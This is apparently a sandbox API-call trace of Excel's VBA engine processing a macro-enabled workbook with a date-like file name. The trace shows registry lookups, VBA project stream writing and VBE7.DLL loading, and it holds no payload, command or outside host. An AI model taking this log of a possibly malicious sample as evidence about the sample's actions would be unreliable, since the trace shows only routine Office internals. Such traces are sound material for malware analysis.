	[0225.209] RegEnumKeyW (in: hKey=0x356, dwIndex=0x0, lpName=0x27c708, cchName=0xa | out: lpName="2.6") returned 0x0
	[0225.210] RegEnumKeyW (in: hKey=0x356, dwIndex=0x1, lpName=0x27c708, cchName=0xa | out: lpName="2.7") returned 0x0
	[0225.210] RegEnumKeyW (in: hKey=0x356, dwIndex=0x2, lpName=0x27c708, cchName=0xa | out: lpName="2.8") returned 0x0
	[0225.210] wcscpy_s (in: _Destination=0x27c6f0, _SizeInWords=0xa, _Source="2.8" | out: _Destination="2.8") returned 0x0
	[0225.210] RegOpenKeyW (in: hKey=0x356, lpSubKey="2.8", phkResult=0x27c798 | out: phkResult=0x27c798*=0x35a) returned 0x0
	[0225.211] _ultoa_s (in: _Val=0x0, _DstBuf=0x27c710, _Size=0xa, _Radix=16 | out: _DstBuf="0") returned 0x0
	[0225.211] RegOpenKeyA (in: hKey=0x35a, lpSubKey="0", phkResult=0x27c700 | out: phkResult=0x27c700*=0x4be) returned 0x0
	[0225.211] RegOpenKeyW (in: hKey=0x4be, lpSubKey="win64", phkResult=0x27c708 | out: phkResult=0x27c708*=0x73a) returned 0x0
	[0225.211] RegCloseKey (hKey=0x73a) returned 0x0
	[0225.211] RegCloseKey (hKey=0x4be) returned 0x0
	[0225.211] _ultow_s (in: _Value=0x0, _Buffer=0x27c7a0, _BufferCount=0x9, _Radix=16 | out: _Buffer="0") returned 0x0
	[0225.212] RegOpenKeyW (in: hKey=0x35a, lpSubKey="0", phkResult=0x27c778 | out: phkResult=0x27c778*=0x4c2) returned 0x0
	[0225.212] RegQueryValueW (in: hKey=0x4c2, lpSubKey="win64", lpData=0x27c7c0, lpcbData=0x27c774 | out: lpData="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE16\\MSO.DLL", lpcbData=0x27c774) returned 0x0
	[0225.213] wcscpy_s (in: _Destination=0x27ca40, _SizeInWords=0x104, _Source="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE16\\MSO.DLL" | out: _Destination="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE16\\MSO.DLL") returned 0x0
	[0225.213] RegCloseKey (hKey=0x4c2) returned 0x0
	[0225.213] RegCloseKey (hKey=0x35a) returned 0x0
	[0225.213] RegCloseKey (hKey=0x356) returned 0x0
	[0225.213] RegCloseKey (hKey=0x512) returned 0x0
	[0225.213] LoadTypeLib (in: szFile="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE16\\MSO.DLL", pptlib=0x27ce00*=0x0 | out: pptlib=0x27ce00*=0xb9fdbb0) returned 0x0
	[0225.214] ITypeLib:RemoteGetDocumentation (in: This=0xb9fdbb0, index=-1, refPtrFlags=0x27ce10, pbstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x0 | out: pbstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x0) returned 0x0
	[0225.215] CLSIDFromString (in: lpsz="{2DF8D04C-5BFA-101B-BDE5-00AA0044DE52}", pclsid=0x27cd00 | out: pclsid=0x27cd00*(Data1=0x2df8d04c, Data2=0x5bfa, Data3=0x101b, Data4=([0]=0xbd, [1]=0xe5, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x44, [6]=0xde, [7]=0x52))) returned 0x0
	[0225.215] IMalloc:Alloc (This=0x7feffc15380, cb=0x80) returned 0xba57bb0
	[0225.215] _ultow_s (in: _Value=0x2, _Buffer=0x27cb8a, _BufferCount=0x10, _Radix=16 | out: _Buffer="2") returned 0x0
	[0225.215] _ultow_s (in: _Value=0x0, _Buffer=0x27cb8e, _BufferCount=0xe, _Radix=16 | out: _Buffer="0") returned 0x0
	[0225.215] _ultow_s (in: _Value=0x0, _Buffer=0x27cb92, _BufferCount=0xc, _Radix=16 | out: _Buffer="0") returned 0x0
	[0225.215] wcscpy_s (in: _Destination=0xc120468, _SizeInWords=0x95, _Source="*\\G" | out: _Destination="*\\G") returned 0x0
	[0225.215] wcscpy_s (in: _Destination=0xc12046e, _SizeInWords=0x92, _Source="{2DF8D04C-5BFA-101B-BDE5-00AA0044DE52}" | out: _Destination="{2DF8D04C-5BFA-101B-BDE5-00AA0044DE52}") returned 0x0
	[0225.215] wcscpy_s (in: _Destination=0xc1204ba, _SizeInWords=0x6c, _Source="#2.0#0#" | out: _Destination="#2.0#0#") returned 0x0
	[0225.215] wcscpy_s (in: _Destination=0xc1204c8, _SizeInWords=0x65, _Source="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE16\\MSO.DLL" | out: _Destination="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE16\\MSO.DLL") returned 0x0
	[0225.215] wcscpy_s (in: _Destination=0xc120548, _SizeInWords=0x25, _Source="Microsoft Office 16.0 Object Library" | out: _Destination="Microsoft Office 16.0 Object Library") returned 0x0
	[0225.215] IMalloc:Free (This=0x7feffc15380, pv=0xba57bb0) 
	[0225.228] wsprintfA (in: param_1=0x27cd60, param_2="%s=\"" | out: param_1="ID=\"") returned 4
	[0225.228] lstrcatA (in: lpString1="ID=\"", lpString2="{CA8764DF-1A34-4B78-B13F-10E6040DD3A4}" | out: lpString1="ID=\"{CA8764DF-1A34-4B78-B13F-10E6040DD3A4}") returned="ID=\"{CA8764DF-1A34-4B78-B13F-10E6040DD3A4}"
	[0225.228] lstrcatA (in: lpString1="ID=\"{CA8764DF-1A34-4B78-B13F-10E6040DD3A4}", lpString2="\"\r\n" | out: lpString1="ID=\"{CA8764DF-1A34-4B78-B13F-10E6040DD3A4}\"\r\n") returned="ID=\"{CA8764DF-1A34-4B78-B13F-10E6040DD3A4}\"\r\n"
	[0225.228] lstrlenA (lpString="ID=\"{CA8764DF-1A34-4B78-B13F-10E6040DD3A4}\"\r\n") returned 45
	[0225.228] wsprintfA (in: param_1=0x27ca80, param_2="%s=" | out: param_1="Document=") returned 9
	[0225.228] lstrlenA (lpString="Document=") returned 9
	[0225.229] wsprintfA (in: param_1=0x27ca95, param_2="/&H%08lX\r\n" | out: param_1="/&H00000000\r\n") returned 13
	[0225.229] lstrlenA (lpString="Document=ThisWorkbook/&H00000000\r\n") returned 34
	[0225.229] wsprintfA (in: param_1=0x27ca80, param_2="%s=" | out: param_1="Document=") returned 9
	[0225.229] lstrlenA (lpString="Document=") returned 9
	[0225.229] wsprintfA (in: param_1=0x27ca8f, param_2="/&H%08lX\r\n" | out: param_1="/&H00000000\r\n") returned 13
	[0225.229] lstrlenA (lpString="Document=Sheet1/&H00000000\r\n") returned 28
	[0225.229] wsprintfA (in: param_1=0x27ca80, param_2="%s=" | out: param_1="Module=") returned 7
	[0225.229] lstrlenA (lpString="Module=") returned 7
	[0225.229] wsprintfA (in: param_1=0x27cd60, param_2="%s=\"" | out: param_1="Name=\"") returned 6
	[0225.229] lstrlenA (lpString="Name=\"") returned 6
	[0225.230] SysStringByteLen (bstr="䉖偁潲敪瑣") returned 0xa
	[0225.230] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xb78f068, cbMultiByte=10, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 10
	[0225.230] SysStringByteLen (bstr="䉖偁潲敪瑣") returned 0xa
	[0225.230] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xb78f068, cbMultiByte=11, lpWideCharStr=0xbd71868, cchWideChar=11 | out: lpWideCharStr="VBAProject") returned 11
	[0225.230] wsprintfA (in: param_1=0x27cd60, param_2="%s=\"%d\"\r\n" | out: param_1="HelpContextID=\"0\"\r\n") returned 19
	[0225.230] lstrlenA (lpString="HelpContextID=\"0\"\r\n") returned 19
	[0225.230] wsprintfA (in: param_1=0x27cd60, param_2="%s=\"%u\"\r\n" | out: param_1="VersionCompatible32=\"393222000\"\r\n") returned 33
	[0225.230] lstrlenA (lpString="VersionCompatible32=\"393222000\"\r\n") returned 33
	[0225.230] wsprintfA (in: param_1=0x27c4a0, param_2="%s=\"" | out: param_1="CMG=\"") returned 5
	[0225.230] GetTickCount () returned 0x4673a
	[0225.230] lstrlenA (lpString="{CA8764DF-1A34-4B78-B13F-10E6040DD3A4}") returned 38
	[0225.230] GetTickCount () returned 0x4673a
	[0225.230] lstrcatA (in: lpString1="CMG=\"", lpString2="BAB8672F2533253325332533" | out: lpString1="CMG=\"BAB8672F2533253325332533") returned="CMG=\"BAB8672F2533253325332533"
	[0225.230] lstrcatA (in: lpString1="CMG=\"BAB8672F2533253325332533", lpString2="\"\r\n" | out: lpString1="CMG=\"BAB8672F2533253325332533\"\r\n") returned="CMG=\"BAB8672F2533253325332533\"\r\n"
	[0225.230] lstrlenA (lpString="CMG=\"BAB8672F2533253325332533\"\r\n") returned 32
	[0225.230] wsprintfA (in: param_1=0x27c4a0, param_2="%s=\"" | out: param_1="DPB=\"") returned 5
	[0225.230] lstrlenA (lpString="") returned 0
	[0225.230] GetTickCount () returned 0x4673a
	[0225.231] lstrlenA (lpString="{CA8764DF-1A34-4B78-B13F-10E6040DD3A4}") returned 38
	[0225.231] GetTickCount () returned 0x4673a
	[0225.231] GetTickCount () returned 0x4673a
	[0225.231] lstrcatA (in: lpString1="DPB=\"", lpString2="7476A9E9D9A2DAA2DAA2" | out: lpString1="DPB=\"7476A9E9D9A2DAA2DAA2") returned="DPB=\"7476A9E9D9A2DAA2DAA2"
	[0225.231] lstrcatA (in: lpString1="DPB=\"7476A9E9D9A2DAA2DAA2", lpString2="\"\r\n" | out: lpString1="DPB=\"7476A9E9D9A2DAA2DAA2\"\r\n") returned="DPB=\"7476A9E9D9A2DAA2DAA2\"\r\n"
	[0225.231] lstrlenA (lpString="DPB=\"7476A9E9D9A2DAA2DAA2\"\r\n") returned 28
	[0225.231] wsprintfA (in: param_1=0x27c4a0, param_2="%s=\"" | out: param_1="GC=\"") returned 4
	[0225.231] GetTickCount () returned 0x4673a
	[0225.231] lstrlenA (lpString="{CA8764DF-1A34-4B78-B13F-10E6040DD3A4}") returned 38
	[0225.231] GetTickCount () returned 0x4673a
	[0225.231] GetTickCount () returned 0x4673a
	[0225.231] GetTickCount () returned 0x4673a
	[0225.231] lstrcatA (in: lpString1="GC=\"", lpString2="2E2CF3B317D7D0D8D0D82F" | out: lpString1="GC=\"2E2CF3B317D7D0D8D0D82F") returned="GC=\"2E2CF3B317D7D0D8D0D82F"
	[0225.231] lstrcatA (in: lpString1="GC=\"2E2CF3B317D7D0D8D0D82F", lpString2="\"\r\n" | out: lpString1="GC=\"2E2CF3B317D7D0D8D0D82F\"\r\n") returned="GC=\"2E2CF3B317D7D0D8D0D82F\"\r\n"
	[0225.231] lstrlenA (lpString="GC=\"2E2CF3B317D7D0D8D0D82F\"\r\n") returned 29
	[0225.231] wsprintfA (in: param_1=0x27cb90, param_2="\r\n[%s]\r\n" | out: param_1="\r\n[Host Extender Info]\r\n") returned 24
	[0225.231] lstrlenA (lpString="\r\n[Host Extender Info]\r\n") returned 24
	[0225.231] lstrlenA (lpString="{3832D640-CF90-11CF-8E43-00A0C911005A};VBE;&H00000000") returned 53
	[0225.231] wsprintfA (in: param_1=0x534b890, param_2="%s=%s\r\n" | out: param_1="&H00000001={3832D640-CF90-11CF-8E43-00A0C911005A};VBE;&H00000000\r\n") returned 66
	[0225.231] lstrlenA (lpString="&H00000001={3832D640-CF90-11CF-8E43-00A0C911005A};VBE;&H00000000\r\n") returned 66
	[0225.231] wsprintfA (in: param_1=0x27cb90, param_2="\r\n[%s]\r\n" | out: param_1="\r\n[Workspace]\r\n") returned 15
	[0225.231] lstrlenA (lpString="\r\n[Workspace]\r\n") returned 15
	[0225.231] lstrlenA (lpString="138, 138, 1552, 786, ") returned 21
	[0225.231] wsprintfA (in: param_1=0x534b890, param_2="%s=%s\r\n" | out: param_1="ThisWorkbook=138, 138, 1552, 786, \r\n") returned 36
	[0225.232] lstrlenA (lpString="ThisWorkbook=138, 138, 1552, 786, \r\n") returned 36
	[0225.232] lstrlenA (lpString="0, 0, 0, 0, C") returned 13
	[0225.232] wsprintfA (in: param_1=0x534b890, param_2="%s=%s\r\n" | out: param_1="Sheet1=0, 0, 0, 0, C\r\n") returned 22
	[0225.232] lstrlenA (lpString="Sheet1=0, 0, 0, 0, C\r\n") returned 22
	[0225.232] lstrlenA (lpString="115, 115, 1529, 763, Z") returned 22
	[0225.232] wsprintfA (in: param_1=0x534b890, param_2="%s=%s\r\n" | out: param_1="Module1=115, 115, 1529, 763, Z\r\n") returned 32
	[0225.232] lstrlenA (lpString="Module1=115, 115, 1529, 763, Z\r\n") returned 32
	[0225.232] CExposedStream::Commit () returned 0x0
	[0225.235] CExposedStream::Release () returned 0x0
	[0225.236] CExposedDocFile::Release () returned 0x1
	[0225.295] CExposedDocFile::OpenStorage () returned 0x0
	[0225.295] CExposedDocFile::AddRef () returned 0x2
	[0225.295] CExposedDocFile::AddRef () returned 0x2
	[0225.333] _wfullpath (in: _Buffer=0x289eb0, _Path="C:\\Users\\aETAdzjz\\Desktop\\2018110654968.xls.t.xls", _BufferCount=0x104 | out: _Buffer="C:\\Users\\aETAdzjz\\Desktop\\2018110654968.xls.t.xls") returned="C:\\Users\\aETAdzjz\\Desktop\\2018110654968.xls.t.xls"
	[0225.334] _wcsicmp (_String1="*\\CC:\\Users\\aETAdzjz\\Desktop\\2018110654968.xls.t.xls", _String2="*\\CC:\\Users\\aETAdzjz\\Desktop\\2018110654968.xls.t.xls") returned 0
	[0225.334] _wcsicmp (_String1="*\\CC:\\Users\\aETAdzjz\\Desktop\\2018110654968.xls.t.xls", _String2="*\\CC:\\Users\\aETAdzjz\\Desktop\\2018110654968.xls.t.xls") returned 0
	[0225.334] SysStringByteLen (bstr="䉖偁潲敪瑣") returned 0xa
	[0225.334] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xb78f068, cbMultiByte=10, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 10
	[0225.334] SysStringByteLen (bstr="䉖偁潲敪瑣") returned 0xa
	[0225.334] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xb78f068, cbMultiByte=11, lpWideCharStr=0xbd71868, cchWideChar=11 | out: lpWideCharStr="VBAProject") returned 11
	[0225.336] IMalloc:Free (This=0x7feffc15380, pv=0xbfc9df0) 
	[0225.336] IUnknown:Release (This=0xb9fd070) returned 0xa
	[0225.336] IUnknown:Release (This=0xb9fc260) returned 0x10
	[0225.336] IUnknown:Release (This=0xb9fd610) returned 0x4
	[0225.336] IUnknown:Release (This=0xb9fdbb0) returned 0x2
	[0225.336] GetCurrentProcess () returned 0xffffffffffffffff
	[0225.336] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0xb820264, dwSize=0x44) returned 1
	[0225.336] RtlLookupFunctionEntry (in: ControlPc=0xb820264, ImageBase=0x2895b8, HistoryTable=0x2895c0 | out: ImageBase=0x2895b8, HistoryTable=0x2895c0) returned 0xb8202b8
	[0225.336] GetCurrentProcess () returned 0xffffffffffffffff
	[0225.336] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x76f51bc, dwSize=0x4c) returned 1
	[0225.336] RtlLookupFunctionEntry (in: ControlPc=0x76f51bc, ImageBase=0x2895b8, HistoryTable=0x2895c0 | out: ImageBase=0x2895b8, HistoryTable=0x2895c0) returned 0x76f5218
	[0225.336] SetErrorMode (uMode=0x8001) returned 0x8001
	[0225.336] _stricmp (_Str1="VBE7.DLL", _Str2="VBE6.DLL") returned 1
	[0225.337] LoadLibraryA (lpLibFileName="VBE7.DLL") returned 0x7fee5d60000
	[0225.339] DeactivateActCtx (dwFlags=0x0, ulCookie=0x10018cf300001bdc) returned 1
	[0225.339] SetErrorMode (uMode=0x8001) returned 0x8001
	[0225.340] GetProcAddress (hModule=0x7fee5d60000, lpProcName=0x258) returned 0x7fee5e64ee0
	[0225.340] GetCurrentProcess () returned 0xffffffffffffffff
	[0225.340] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x76f735c, dwSize=0x43) returned 1
	[0225.340] RtlLookupFunctionEntry (in: ControlPc=0x76f735c, ImageBase=0x289558, HistoryTable=0x289560 | out: ImageBase=0x289558, HistoryTable=0x289560) returned 0x76f73ac
	[0225.340] SetErrorMode (uMode=0x8001) returned 0x8001
	[0225.340] _stricmp (_Str1="VBE7.DLL", _Str2="VBE6.DLL") returned 1
	[0225.340] LoadLibraryA (lpLibFileName="VBE7.DLL") returned 0x7fee5d60000
	[0225.341] DeactivateActCtx (dwFlags=0x0, ulCookie=0x10018cf300001bdd) returned 1
	[0225.341] SetErrorMode (uMode=0x8001) returned 0x8001
	[0225.341] GetProcAddress (hModule=0x7fee5d60000, lpProcName=0x253) returned 0x7fee6072a6c
	[0225.341] GetCurrentProcess () returned 0xffffffffffffffff
	[0225.341] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x76f76b8, dwSize=0x63) returned 1
	[0225.341] RtlLookupFunctionEntry (in: ControlPc=0x76f76b8, ImageBase=0x289558, HistoryTable=0x289560 | out: ImageBase=0x289558, HistoryTable=0x289560) returned 0x76f7728
	[0225.342] _stricmp (_Str1="VBE7.DLL", _Str2="VBE6.DLL") returned 1
	[0225.342] LoadLibraryA (lpLibFileName="VBE7.DLL") returned 0x7fee5d60000
	[0225.343] DeactivateActCtx (dwFlags=0x0, ulCookie=0x10018cf300001bde) returned 1
	[0225.343] SetErrorMode (uMode=0x8001) returned 0x8001
	[0225.343] GetProcAddress (hModule=0x7fee5d60000, lpProcName=0x258) returned 0x7fee5e64ee0
	[0225.343] GetCurrentProcess () returned 0xffffffffffffffff
	[0225.343] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x76f735c, dwSize=0x43) returned 1
	[0225.343] RtlLookupFunctionEntry (in: ControlPc=0x76f735c, ImageBase=0x2894f8, HistoryTable=0x289500 | out: ImageBase=0x2894f8, HistoryTable=0x289500) returned 0x76f73ac
	[0225.343] SetErrorMode (uMode=0x8001) returned 0x8001
	[0225.343] _stricmp (_Str1="VBE7.DLL", _Str2="VBE6.DLL") returned 1
	[0225.343] LoadLibraryA (lpLibFileName="VBE7.DLL") returned 0x7fee5d60000
	[0225.344] DeactivateActCtx (dwFlags=0x0, ulCookie=0x10018cf300001bdf) returned 1
	[0225.344] SetErrorMode (uMode=0x8001) returned 0x8001
	[0225.345] GetProcAddress (hModule=0x7fee5d60000, lpProcName=0x253) returned 0x7fee6072a6c
	[0225.345] GetCurrentProcess () returned 0xffffffffffffffff
	[0225.345] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x76f76b8, dwSize=0x63) returned 1
	[0225.345] RtlLookupFunctionEntry (in: ControlPc=0x76f76b8, ImageBase=0x2894f8, HistoryTable=0x289500 | out: ImageBase=0x2894f8, HistoryTable=0x289500) returned 0x76f7728
	[0225.346] IMalloc:Free (This=0x7feffc15380, pv=0xbfa4980) 
	[0225.346] IMalloc:Free (This=0x7feffc15380, pv=0xbd261c0) 
	[0225.346] IUnknown:AddRef (This=0xbb2bc38) returned 0x3
	[0225.346] ITypeInfo:RemoteGetTypeAttr (in: This=0xbb2bc38, ppTypeAttr=0x289fc8, pDummy=0xb8d6230 | out: ppTypeAttr=0x289fc8, pDummy=0xb8d6230*=0x7) returned 0x0
	[0225.346] ITypeInfo:LocalReleaseTypeAttr (This=0xbb2bc38) returned 0x0
	[0225.346] IUnknown:Release (This=0xbb2bc38) returned 0x2
	[0225.346] IMalloc:Free (This=0x7feffc15380, pv=0xbd27f80) 
	[0225.346] IMalloc:Free (This=0x7feffc15380, pv=0xb816bf0) 
	[0225.353] IMalloc:Free (This=0x7feffc15380, pv=0xb815c20) 
	[0225.354] GetCurrentThreadId () returned 0x8e8
	[0225.354] SetCursor (hCursor=0x10007) returned 0x10007
	[0225.354] CExposedDocFile::Release () returned 0x0
	[0225.354] CExposedDocFile::Release () returned 0x0
	[0225.355] IMalloc:Free (This=0x7feffc15380, pv=0xbd30340) 
	[0225.355] IMalloc:Free (This=0x7feffc15380, pv=0xbd30500) 
	[0225.355] IMalloc:Free (This=0x7feffc15380, pv=0xbd30880) 
	[0225.355] IMalloc:Free (This=0x7feffc15380, pv=0xbd2bc40) 
	[0225.355] IMalloc:Free (This=0x7feffc15380, pv=0xbd2fe00) 
	[0225.355] IMalloc:Free (This=0x7feffc15380, pv=0xbd2ff40) 
	[0225.355] IMalloc:Free (This=0x7feffc15380, pv=0xbd61450) 
	[0225.355] RtlLookupFunctionEntry (in: ControlPc=0x76f79b4, ImageBase=0x289d00, HistoryTable=0x289d20 | out: ImageBase=0x289d00, HistoryTable=0x289d20) returned 0x0
	[0225.355] IMalloc:Free (This=0x7feffc15380, pv=0xbe18de0) 
	[0225.356] IMalloc:Free (This=0x7feffc15380, pv=0xbd620b0) 
	[0225.356] RtlLookupFunctionEntry (in: ControlPc=0x4d229fc, ImageBase=0x289d00, HistoryTable=0x289d20 | out: ImageBase=0x289d00, HistoryTable=0x289d20) returned 0x0
	[0225.356] RtlLookupFunctionEntry (in: ControlPc=0xb820cf4, ImageBase=0x289d00, HistoryTable=0x289d20 | out: ImageBase=0x289d00, HistoryTable=0x289d20) returned 0x0
	[0225.356] RtlLookupFunctionEntry (in: ControlPc=0xb820d7c, ImageBase=0x289d00, HistoryTable=0x289d20 | out: ImageBase=0x289d00, HistoryTable=0x289d20) returned 0x0
	[0225.356] RtlLookupFunctionEntry (in: ControlPc=0xb82113c, ImageBase=0x289d00, HistoryTable=0x289d20 | out: ImageBase=0x289d00, HistoryTable=0x289d20) returned 0x0
	[0225.356] RtlLookupFunctionEntry (in: ControlPc=0xb821224, ImageBase=0x289d00, HistoryTable=0x289d20 | out: ImageBase=0x289d00, HistoryTable=0x289d20) returned 0x0
	[0225.356] RtlLookupFunctionEntry (in: ControlPc=0xb82035c, ImageBase=0x289d00, HistoryTable=0x289d20 | out: ImageBase=0x289d00, HistoryTable=0x289d20) returned 0x0
	[0225.356] RtlLookupFunctionEntry (in: ControlPc=0xb820444, ImageBase=0x289d00, HistoryTable=0x289d20 | out: ImageBase=0x289d00, HistoryTable=0x289d20) returned 0x0
	[0225.356] RtlLookupFunctionEntry (in: ControlPc=0xb82216c, ImageBase=0x289d00, HistoryTable=0x289d20 | out: ImageBase=0x289d00, HistoryTable=0x289d20) returned 0x0
	[0225.356] RtlLookupFunctionEntry (in: ControlPc=0xb822254, ImageBase=0x289d00, HistoryTable=0x289d20 | out: ImageBase=0x289d00, HistoryTable=0x289d20) returned 0x0
	[0225.356] RtlLookupFunctionEntry (in: ControlPc=0xb8223bc, ImageBase=0x289d00, HistoryTable=0x289d20 | out: ImageBase=0x289d00, HistoryTable=0x289d20) returned 0x0
	[0225.356] RtlLookupFunctionEntry (in: ControlPc=0xb8224a4, ImageBase=0x289d00, HistoryTable=0x289d20 | out: ImageBase=0x289d00, HistoryTable=0x289d20) returned 0x0
	[0225.356] RtlLookupFunctionEntry (in: ControlPc=0xb821f1c, ImageBase=0x289d00, HistoryTable=0x289d20 | out: ImageBase=0x289d00, HistoryTable=0x289d20) returned 0x0
	[0225.356] RtlLookupFunctionEntry (in: ControlPc=0xb822004, ImageBase=0x289d00, HistoryTable=0x289d20 | out: ImageBase=0x289d00, HistoryTable=0x289d20) returned 0x0
	[0225.356] IMalloc:Free (This=0x7feffc15380, pv=0xbe168c0) 
	[0225.356] IMalloc:Free (This=0x7feffc15380, pv=0xc0ec4b0) 
	[0225.356] IMalloc:Free (This=0x7feffc15380, pv=0xbb675d0) 
	[0225.356] IMalloc:Free (This=0x7feffc15380, pv=0xbe67070) 
	[0225.356] RtlLookupFunctionEntry (in: ControlPc=0x76f8bc4, ImageBase=0x289d00, HistoryTable=0x289d20 | out: ImageBase=0x289d00, HistoryTable=0x289d20) returned 0x76f8c44
	[0225.356] RtlLookupFunctionEntry (in: ControlPc=0x76f735c, ImageBase=0x289d00, HistoryTable=0x289d20 | out: ImageBase=0x289d00, HistoryTable=0x289d20) returned 0x76f73ac
	[0225.356] RtlLookupFunctionEntry (in: ControlPc=0x76f7214, ImageBase=0x289d00, HistoryTable=0x289d20 | out: ImageBase=0x289d00, HistoryTable=0x289d20) returned 0x76f729c
	[0225.356] RtlLookupFunctionEntry (in: ControlPc=0x76f76b8, ImageBase=0x289d00, HistoryTable=0x289d20 | out: ImageBase=0x289d00, HistoryTable=0x289d20) returned 0x76f7728
	[0225.356] RtlLookupFunctionEntry (in: ControlPc=0x76f7bbc, ImageBase=0x289d00, HistoryTable=0x289d20 | out: ImageBase=0x289d00, HistoryTable=0x289d20) returned 0x0
	[0225.356] RtlLookupFunctionEntry (in: ControlPc=0x76f8934, ImageBase=0x289d00, HistoryTable=0x289d20 | out: ImageBase=0x289d00, HistoryTable=0x289d20) returned 0x76f89b4
	[0225.356] RtlLookupFunctionEntry (in: ControlPc=0x76f61e4, ImageBase=0x289d00, HistoryTable=0x289d20 | out: ImageBase=0x289d00, HistoryTable=0x289d20) returned 0x76f6264
	[0225.356] RtlLookupFunctionEntry (in: ControlPc=0x76f6314, ImageBase=0x289d00, HistoryTable=0x289d20 | out: ImageBase=0x289d00, HistoryTable=0x289d20) returned 0x0
	[0225.356] RtlLookupFunctionEntry (in: ControlPc=0x76f67bc, ImageBase=0x289d00, HistoryTable=0x289d20 | out: ImageBase=0x289d00, HistoryTable=0x289d20) returned 0x76f6844
	[0225.356] RtlLookupFunctionEntry (in: ControlPc=0x76f6684, ImageBase=0x289d00, HistoryTable=0x289d20 | out: ImageBase=0x289d00, HistoryTable=0x289d20) returned 0x76f66fc
	[0225.356] RtlLookupFunctionEntry (in: ControlPc=0x76f875c, ImageBase=0x289d00, HistoryTable=0x289d20 | out: ImageBase=0x289d00, HistoryTable=0x289d20) returned 0x0
	[0225.356] RtlLookupFunctionEntry (in: ControlPc=0x76f8a64, ImageBase=0x289d00, HistoryTable=0x289d20 | out: ImageBase=0x289d00, HistoryTable=0x289d20) returned 0x76f8adc
	[0225.356] RtlLookupFunctionEntry (in: ControlPc=0x76f52ec, ImageBase=0x289d00, HistoryTable=0x289d20 | out: ImageBase=0x289d00, HistoryTable=0x289d20) returned 0x76f5374
	[0225.357] IMalloc:Free (This=0x7feffc15380, pv=0xbe692f0) 
	[0225.357] IMalloc:Free (This=0x7feffc15380, pv=0xbe68a50) 
	[0225.357] IMalloc:Free (This=0x7feffc15380, pv=0xbe67d60) 
	[0225.357] IMalloc:Free (This=0x7feffc15380, pv=0xbe67910) 
	[0225.357] IMalloc:Free (This=0x7feffc15380, pv=0xbe69740) 
	[0225.357] IMalloc:Free (This=0x7feffc15380, pv=0xbe68ea0) 
	[0225.357] IMalloc:Free (This=0x7feffc15380, pv=0xbe681b0) 
	[0225.357] RtlLookupFunctionEntry (in: ControlPc=0xb820264, ImageBase=0x289d40, HistoryTable=0x289d60 | out: ImageBase=0x289d40, HistoryTable=0x289d60) returned 0xb8202b8
	[0225.357] RtlLookupFunctionEntry (in: ControlPc=0x76f51bc, ImageBase=0x289d40, HistoryTable=0x289d60 | out: ImageBase=0x289d40, HistoryTable=0x289d60) returned 0x76f5218
	[0225.357] IMalloc:Free (This=0x7feffc15380, pv=0xbe68600) 
	[0225.357] IMalloc:Free (This=0x7feffc15380, pv=0xbc37ac0) 
	[0225.357] IMalloc:Realloc (This=0x7feffc15380, pv=0xc00ed90, cb=0x0) returned 0x0
	[0225.357] IMalloc:Alloc (This=0x7feffc15380, cb=0x0) returned 0xb665b40
	[0225.357] IMalloc:Free (This=0x7feffc15380, pv=0xbacfa40) 
	[0225.357] IMalloc:Free (This=0x7feffc15380, pv=0xb6668e0) 
	[0225.357] IMalloc:Free (This=0x7feffc15380, pv=0xbeedf90) 
	[0225.357] IUnknown:Release (This=0xbb2ba80) returned 0x0
	[0225.357] IMalloc:Free (This=0x7feffc15380, pv=0x71d6f70) 
	[0225.357] IMalloc:Free (This=0x7feffc15380, pv=0xbc59540) 
	[0225.357] IMalloc:Free (This=0x7feffc15380, pv=0xc0ec530) 
	[0225.357] IMalloc:Free (This=0x7feffc15380, pv=0xb666970) 
	[0225.358] IMalloc:Free (This=0x7feffc15380, pv=0xbb71b30) 
	[0225.358] IMalloc:Free (This=0x7feffc15380, pv=0xb6659b0) 
	[0225.358] IMalloc:Free (This=0x7feffc15380, pv=0xb665b40) 
	[0225.358] IMalloc:Free (This=0x7feffc15380, pv=0xbace260) 
	[0225.358] IMalloc:Free (This=0x7feffc15380, pv=0x74cd730) 
	[0225.358] IMalloc:Free (This=0x7feffc15380, pv=0xc0c6380) 
	[0225.358] IMalloc:Free (This=0x7feffc15380, pv=0xc0bbc40) 
	[0225.358] IMalloc:Free (This=0x7feffc15380, pv=0xb91dcc0) 
	[0225.358] IMalloc:Free (This=0x7feffc15380, pv=0xb91dd80) 
	[0225.358] IMalloc:Free (This=0x7feffc15380, pv=0xba577c0) 
	[0225.358] IMalloc:Free (This=0x7feffc15380, pv=0xb666430) 
	[0225.358] IMalloc:Free (This=0x7feffc15380, pv=0xb6d7360) 
	[0225.358] IMalloc:Free (This=0x7feffc15380, pv=0xb666270) 
	[0225.358] IMalloc:Free (This=0x7feffc15380, pv=0x754de90) 
	[0225.358] IUnknown:Release (This=0xbb2bbe0) returned 0x0
	[0225.358] IUnknown:Release (This=0xbb2bc38) returned 0x1
	[0225.358] IUnknown:Release (This=0xbb2bb30) returned 0x0
	[0225.358] IMalloc:Realloc (This=0x7feffc15380, pv=0xb790800, cb=0x0) returned 0x0
	[0225.358] IMalloc:Alloc (This=0x7feffc15380, cb=0x0) returned 0xb666270
	[0225.358] IMalloc:Free (This=0x7feffc15380, pv=0xbace250) 
